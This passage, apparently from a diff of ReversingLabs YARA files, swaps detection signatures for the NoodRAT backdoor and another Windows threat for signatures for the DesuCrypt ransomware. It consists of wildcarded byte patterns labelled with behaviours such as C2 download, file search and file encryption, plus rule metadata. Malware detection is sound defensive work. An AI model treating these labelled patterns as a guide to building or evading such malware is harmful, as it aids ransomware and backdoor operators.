B6 C0 50 FF 52 ?? 83 66 ?? ?? + 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5E 8B E5 5D C3 } - $network_communication_p2 = { - 8B E8 48 85 C0 0F 84 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? - ?? ?? ?? 48 8B F0 48 85 C0 75 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? - ?? ?? ?? 48 8B F0 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B D0 48 8B CE FF 15 ?? ?? - ?? ?? 48 85 C0 74 ?? C7 44 24 ?? ?? ?? ?? ?? 45 33 C9 48 89 5C 24 ?? 4D 8B C7 49 8B - D4 48 89 5C 24 ?? 48 8B CD FF D0 48 8B D8 48 8D 0D ?? ?? ?? ?? 48 89 5F ?? C7 44 24 - ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B F8 48 85 C0 75 ?? 48 8D - 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B F8 48 8D 0D ?? ?? ?? ?? - E8 ?? ?? ?? ?? 48 8B D0 48 8B CF FF 15 ?? ?? ?? ?? 48 85 C0 74 ?? 41 B9 ?? ?? ?? ?? - 4C 8D 44 24 ?? 48 8B CB 41 8D 51 ?? FF D0 B8 ?? ?? ?? ?? EB ?? 48 89 5F ?? EB ?? 48 - 89 1F 33 C0 48 8B 6C 24 ?? 48 8B 4C 24 ?? 48 33 CC E8 ?? ?? ?? ?? 48 83 C4 ?? 41 5F - 41 5E 41 5C 5F 5E 5B C3 + $create_test_file_p1 = { + 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 33 DB 8D 55 + ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 5D ?? E8 ?? ?? ?? ?? 59 8D 45 ?? C6 45 ?? ?? + 50 8D 4D ?? 89 5D ?? 89 5D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 + ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 83 CB ?? 8B 3D ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 65 ?? ?? + 8D 4D ?? 83 65 ?? ?? 56 E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? FF 75 ?? 8B 45 ?? 2B 45 + ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 8B 55 ?? 8D 4D ?? 0F 43 45 ?? + 83 7D ?? ?? 0F 43 4D ?? 3B 55 ?? 75 ?? 52 50 51 E8 ?? ?? ?? ?? 83 C4 ?? C6 85 ?? ?? + ?? ?? ?? 85 C0 74 ?? C6 85 ?? ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? + ?? 8D 4D ?? 0F 85 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C6 ?? 3B F7 0F 85 ?? ?? + ?? ?? 83 7D ?? ?? 8D 45 ?? 8B 35 ?? ?? ?? ?? BF ?? ?? ?? ?? 0F 43 45 ?? 33 C9 51 57 } - $download_data_from_c2_p1 = { - 4C 8B DC 55 56 57 49 8D AB ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 - 33 C4 48 89 85 ?? ?? ?? ?? 49 89 5B ?? 33 FF 4D 89 63 ?? 48 8B D9 4D 89 6B ?? 48 8D - 0D ?? ?? ?? ?? 4D 8B E8 4D 89 73 ?? 0F 57 C0 4D 89 7B ?? 33 C0 4C 8D 67 ?? 4D 8B C1 - 48 89 44 24 ?? 0F 11 44 24 ?? 8B F7 E8 ?? ?? ?? ?? 48 89 44 24 ?? 4C 8B F8 48 85 C0 - 0F 84 ?? ?? ?? ?? 4C 8D 0D ?? ?? ?? ?? 4C 8B C0 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? - E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 33 D2 48 8D 4D ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 4C 8B CB 4C 8D 05 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 48 8D - 45 ?? 49 8B DC 0F 1F 80 ?? ?? ?? ?? 48 FF C3 66 39 34 58 75 ?? 48 8D 0D ?? ?? ?? ?? - E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 4C 8B F0 48 85 C0 75 ?? 48 8D 0D ?? ?? ?? ?? - E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 4C 8B F0 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? - 48 8B D0 49 8B CE FF 15 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 4C 8B 7C 24 ?? 48 8D - 55 ?? 49 8B CF 41 B9 ?? ?? ?? ?? 44 8B C3 FF D0 85 C0 0F 84 ?? ?? ?? ?? 48 8D 0D ?? - ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? 48 8D 0D ?? - ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B D8 48 8D 0D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 48 8B D0 48 8B CB E8 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 89 7C 24 ?? - 45 33 C9 C7 44 24 ?? ?? ?? ?? ?? 45 33 C0 BA ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 49 - 8B CD FF D0 4C 8B E0 48 83 F8 ?? 0F 84 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? - ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? - ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B D8 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B D0 48 + $create_test_file_p2 = { + 6A ?? 51 51 68 ?? ?? ?? ?? 50 FF D6 3B C3 0F 84 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 + 7D ?? ?? 8D 45 ?? 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 0F 43 45 ?? + 33 C9 51 57 6A ?? 51 51 68 ?? ?? ?? ?? 50 FF D6 8B F8 3B FB 0F 84 ?? ?? ?? ?? 6A ?? + 57 FF 15 ?? ?? ?? ?? 8B F0 85 F6 75 ?? 57 FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? ?? + ?? ?? E9 ?? ?? ?? ?? 6A ?? 58 3B F0 0F 42 F0 03 F0 56 E8 ?? ?? ?? ?? 59 6A ?? 89 85 + ?? ?? ?? ?? 8D 45 ?? 50 56 8B B5 ?? ?? ?? ?? 56 57 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 75 + ?? 57 FF 15 ?? ?? ?? ?? EB ?? 83 7D ?? ?? 8D 45 ?? FF 75 ?? 0F 43 45 ?? 8D 55 ?? 50 + 8B CE E8 ?? ?? ?? ?? 59 59 33 DB 53 53 53 57 FF 15 ?? ?? ?? ?? 53 8D 45 ?? 50 FF 75 + ?? 56 57 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? 8D 45 ?? 0F 43 + 4D ?? 83 7D ?? ?? 51 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 59 8D 4D ?? + E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B C3 E8 ?? + ?? ?? ?? C3 } - $download_data_from_c2_p2 = { - 8B CB FF 15 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 89 7C 24 ?? 45 33 C9 89 7C 24 - ?? 45 33 C0 33 D2 89 7C 24 ?? 49 8B CF FF D0 85 C0 0F 84 ?? ?? ?? ?? 48 8D 0D ?? ?? - ?? ?? 89 7C 24 ?? 89 7C 24 ?? 89 7C 24 ?? 89 7C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 7C - 24 ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? 48 8D 0D ?? ?? - ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B D8 48 8D 0D ?? ?? ?? ?? E8 ?? ?? - ?? ?? 48 8B D0 48 8B CB FF 15 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 33 D2 49 8B CF - FF D0 85 C0 0F 84 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? - ?? ?? 48 8B D8 48 85 C0 75 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? - ?? ?? 48 8B D8 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B D0 48 8B CB FF 15 ?? ?? ?? - ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 8D 4C 24 ?? 45 33 C0 48 89 4C 24 ?? 4C 8D 4C 24 ?? - 48 8D 4C 24 ?? BA ?? ?? ?? ?? 48 89 4C 24 ?? 49 8B CF FF D0 85 C0 0F 84 ?? ?? ?? ?? - 8B 5C 24 ?? FF 15 ?? ?? ?? ?? 44 8B C3 BA ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 48 - 8B F0 48 85 C0 0F 84 ?? ?? ?? ?? 90 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 - ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 - ?? ?? ?? ?? 48 8B D8 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B D0 48 8B CB FF 15 ?? - ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 8D 54 24 ?? 49 8B CF FF D0 85 C0 0F 84 ?? ?? - ?? ?? 44 8B 74 24 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 + $encrypt_files_p1 = { + 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 33 F6 8D 4D ?? 89 B5 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 75 ?? 8D 4D ?? 68 ?? ?? ?? ?? 89 75 ?? 89 75 ?? E8 ?? + ?? ?? ?? 68 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 7D ?? 8B D8 8B 45 + ?? 0F 43 7D ?? 59 3B D8 77 ?? 85 DB 74 ?? 2B C3 40 03 C7 89 85 ?? ?? ?? ?? 2B C7 50 + 6A ?? 57 EB ?? 53 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8B 85 ?? ?? + ?? ?? 46 2B C6 50 6A ?? 56 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 75 ?? EB ?? 2B F7 EB + ?? 83 CE ?? 83 FE ?? 74 ?? 83 7D ?? ?? 8D 45 ?? FF 75 ?? 0F 43 45 ?? 50 51 56 8D 4D + ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 33 F6 8D 85 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? C7 85 + ?? ?? ?? ?? ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? + ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 } - $download_data_from_c2_p3 = { - 8B D8 48 85 C0 75 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 - 8B D8 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B D0 48 8B CB FF 15 ?? ?? ?? ?? 48 85 - C0 0F 84 ?? ?? ?? ?? 4C 8D 4C 24 ?? 45 8B C6 48 8B D6 49 8B CF FF D0 85 C0 74 ?? 44 - 8B 74 24 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B D8 48 - 85 C0 75 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B D8 48 - 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B D0 48 8B CB FF 15 ?? ?? ?? ?? 48 85 C0 74 ?? - 4C 8D 4C 24 ?? 48 89 7C 24 ?? 45 8B C6 48 8B D6 49 8B CC FF D0 85 C0 74 ?? 39 7C 24 - ?? 0F 87 ?? ?? ?? ?? BF ?? ?? ?? ?? 4C 8B 7C 24 ?? 48 8D 4C 24 ?? 44 8B F7 E8 ?? ?? - ?? ?? 4D 85 E4 74 ?? 49 83 FC ?? 74 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 - E8 ?? ?? ?? ?? 48 8B F8 48 85 C0 75 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 - E8 ?? ?? ?? ?? 48 8B F8 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B D0 48 8B CF E8 ?? - ?? ?? ?? 41 8B FE 48 85 C0 74 ?? 49 8B CC FF D0 4D 85 FF 74 ?? FF 15 ?? ?? ?? ?? 4D - 8B C7 33 D2 48 8B C8 FF 15 ?? ?? ?? ?? 4C 8B BC 24 ?? ?? ?? ?? 4C 8B B4 24 ?? ?? ?? - ?? 4C 8B AC 24 ?? ?? ?? ?? 4C 8B A4 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 85 F6 - 74 ?? FF 15 ?? ?? ?? ?? 4C 8B C6 33 D2 48 8B C8 FF 15 ?? ?? ?? ?? 8B C7 48 8B 8D ?? - ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5F 5E 5D C3 + $encrypt_files_p2 = { + 50 E8 ?? ?? ?? ?? 6A ?? 5F 89 7D ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? + ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 51 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 8D ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? C6 45 ?? ?? + E8 ?? ?? ?? ?? C6 45 ?? ?? 8B C8 C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 8D ?? ?? + ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 51 0F 43 85 + ?? ?? ?? ?? 51 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 39 B5 ?? ?? ?? ?? 74 ?? 83 7D ?? ?? 8D + 55 ?? FF 75 ?? 0F 43 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 8D ?? ?? ?? ?? E8 + ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 56 8B 40 ?? 03 C8 8B 51 + ?? 83 CA ?? 8B C2 0B C7 39 71 ?? 0F 44 D0 52 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? + ?? 59 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 } condition: - uint16( 0 ) == 0x5A4D and ( all of ( $decrypt_configuration_p* ) ) and ( $decryption_algorithm ) and ( all of ( $request_access_token_p* ) ) and ( all of ( $network_communication_p* ) ) and ( all of ( $download_data_from_c2_p* ) ) + uint16( 0 ) == 0x5A4D and ( $enum_rsrc ) and ( all of ( $search_files_p* ) ) and ( all of ( $create_test_file_p* ) ) and ( all of ( $encrypt_files_p* ) ) } -rule REVERSINGLABS_Linux_Backdoor_Noodrat : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win32_Ransomware_Desucrypt : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects NoodRAT backdoor." + description = "Yara rule that detects DesuCrypt ransomware." author = "ReversingLabs" - id = "ac5eae27-dc42-5060-b639-c23c0bbabb50" - date = "2024-08-26" - modified = "2024-08-26" + id = "b9b3ce2b-f184-5bfa-8e1c-a7b996ac708a" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Linux.Backdoor.NoodRAT.yara#L1-L162" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.DesuCrypt.yara#L1-L93" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2ec4a8ba7428054edb4dcdb6a00015b9758badf515f2c210bb946ba5402674d2" + logic_hash = "bd3ba8ea0fc16aad859a73628d0eda180d49298162fe239acf81c7c4e371eaad" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Backdoor" - tc_detection_name = "NoodRAT" + tc_detection_type = "Ransomware" + tc_detection_name = "DesuCrypt" tc_detection_factor = 5 importance = 25 strings: - $change_name_on_system_p1 = { - 41 56 41 55 41 54 55 53 48 81 EC ?? ?? ?? ?? 48 89 FB 48 8D BC 24 ?? ?? ?? ?? B8 ?? - ?? ?? ?? B9 ?? ?? ?? ?? F3 48 AB 48 8D BC 24 ?? ?? ?? ?? B1 ?? F3 48 AB C6 84 24 ?? - ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? - C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? - ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 0F B7 15 - ?? ?? ?? ?? 66 89 55 ?? 4C 8D 65 ?? 0F B7 D2 BE ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ?? - 48 8D 94 24 ?? ?? ?? ?? 0F B7 75 ?? 4C 89 E7 E8 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? - 4C 89 E6 48 89 EF E8 ?? ?? ?? ?? 4C 8B 03 48 C7 C6 ?? ?? ?? ?? 4C 89 C7 B8 ?? ?? ?? - ?? 48 89 F1 F2 AE 48 F7 D1 48 8D 14 31 48 89 EF 48 89 F1 F2 AE 48 89 CE 48 F7 D6 48 - 83 EE ?? 48 39 F2 72 ?? BE ?? ?? ?? ?? 4C 89 C7 E8 ?? ?? ?? ?? 48 89 EE 48 8B 3B E8 - ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? B8 ?? ?? ?? ?? B9 - ?? ?? ?? ?? F3 48 AB 48 8D BC 24 ?? ?? ?? ?? B1 ?? F3 48 AB C6 84 24 ?? ?? ?? ?? ?? - C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? - ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? - C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? - ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? - C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? - ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 48 8D B4 24 ?? ?? ?? ?? - 48 8D BC 24 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C2 B8 ?? ?? ?? ?? 48 85 - D2 0F 8E ?? ?? ?? ?? 48 C7 C2 ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? 48 89 D1 F2 AE 48 + $find_files = { + 8B FF 55 8B EC 51 8B 4D ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 57 8B 7D ?? 2B CA 8B C7 41 + F7 D0 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 53 56 8D 5F ?? 03 D9 6A ?? 53 E8 ?? ?? ?? + ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? FF + 75 ?? 2B DF 8D 04 3E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 5D ?? 8B + CB E8 ?? ?? ?? ?? 33 FF 89 45 ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ?? 8B 75 ?? 59 EB ?? 8B + 43 ?? 89 30 8B F7 83 43 ?? ?? 57 E8 ?? ?? ?? ?? 59 8B C6 5E 5B 5F 8B E5 5D C3 33 FF + 57 57 57 57 57 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 + C5 89 45 ?? 8B 4D ?? 53 8B 5D ?? 57 8B 7D ?? 89 9D ?? ?? ?? ?? EB ?? 8A 01 3C ?? 74 + ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 57 E8 ?? ?? ?? ?? 59 59 8B C8 3B CF 75 ?? 8A 11 80 FA + ?? 75 ?? 8D 47 ?? 3B C8 74 ?? 53 33 DB 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 33 DB + 80 FA ?? 74 ?? 80 FA ?? 74 ?? 8A C3 80 FA ?? 75 ?? B0 ?? 0F B6 C0 2B CF 41 F7 D8 56 + 1B C0 23 C1 68 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? + 83 C4 ?? 8D 85 ?? ?? ?? ?? 53 53 53 50 53 57 FF 15 ?? ?? ?? ?? 8B F0 8B 85 ?? ?? ?? + ?? 83 FE ?? 75 ?? 50 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 83 FE ?? 74 ?? 56 FF 15 + ?? ?? ?? ?? 8B C3 5E 8B 4D ?? 5F 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 48 ?? 2B 08 + C1 F9 ?? 89 8D ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 8A 8D ?? ?? ?? ?? 84 C9 74 ?? + 80 F9 ?? 75 ?? 38 9D ?? ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50 + E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 + 8B 85 ?? ?? ?? ?? 75 ?? 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B C8 0F 84 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? E9 } - $change_name_on_system_p2 = { - 89 CB 48 8D BC 24 ?? ?? ?? ?? 48 89 D1 F2 AE F7 D3 8D 5C 0B ?? 85 DB B8 ?? ?? ?? ?? - 0F 4E D8 48 8D B4 24 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 48 - 89 EF B8 ?? ?? ?? ?? 48 C7 C1 ?? ?? ?? ?? F2 AE 48 F7 D1 48 8D 79 ?? 48 63 D3 48 63 - FF 48 8D 7C 3D ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? - ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? - C6 84 24 ?? ?? ?? ?? ?? 48 8D B4 24 ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 49 89 C6 48 - 8D B4 24 ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C3 48 89 E7 B9 ?? - ?? ?? ?? B8 ?? ?? ?? ?? F3 48 AB C6 07 ?? 48 89 E5 41 BC ?? ?? ?? ?? 41 BD ?? ?? ?? - ?? EB ?? 48 89 EF 4C 89 E9 4C 89 E0 F3 48 AB C6 07 ?? 48 89 D9 BA ?? ?? ?? ?? BE ?? - ?? ?? ?? 48 89 E7 E8 ?? ?? ?? ?? 85 C0 7E ?? 48 63 D0 4C 89 F1 BE ?? ?? ?? ?? 48 89 - E7 E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 85 C0 74 ?? 48 89 DF E8 ?? ?? ?? ?? 4C 89 - F7 E8 ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 85 C0 75 ?? 48 8D BC 24 ?? ?? ?? ?? 48 89 BC 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? - ?? ?? ?? ?? ?? 48 8D B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? EB ?? 85 C0 7E - ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? - ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B 5D 41 5C 41 5D 41 5E C3 + $encrypt_files = { + 55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? + ?? ?? 53 56 57 8B D9 89 54 24 ?? B9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? BE ?? ?? ?? + ?? C7 44 24 ?? ?? ?? ?? ?? 8D 7C 24 ?? C7 44 24 ?? ?? ?? ?? ?? F3 A5 6A ?? 6A ?? 8D + 44 24 ?? 50 8D 84 24 ?? ?? ?? ?? 66 A5 50 6A ?? 6A ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? + ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 50 + E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B + E5 5D C3 8D 44 24 ?? 50 8D 44 24 ?? 50 6A ?? 68 ?? ?? ?? ?? FF 74 24 ?? 8D 84 24 ?? + ?? ?? ?? 50 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? + ?? ?? EB ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? + ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 5F + 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3 8D 44 24 ?? 50 FF 74 24 + ?? 6A ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? + ?? E9 ?? ?? ?? ?? 8B 43 ?? 8B 3D ?? 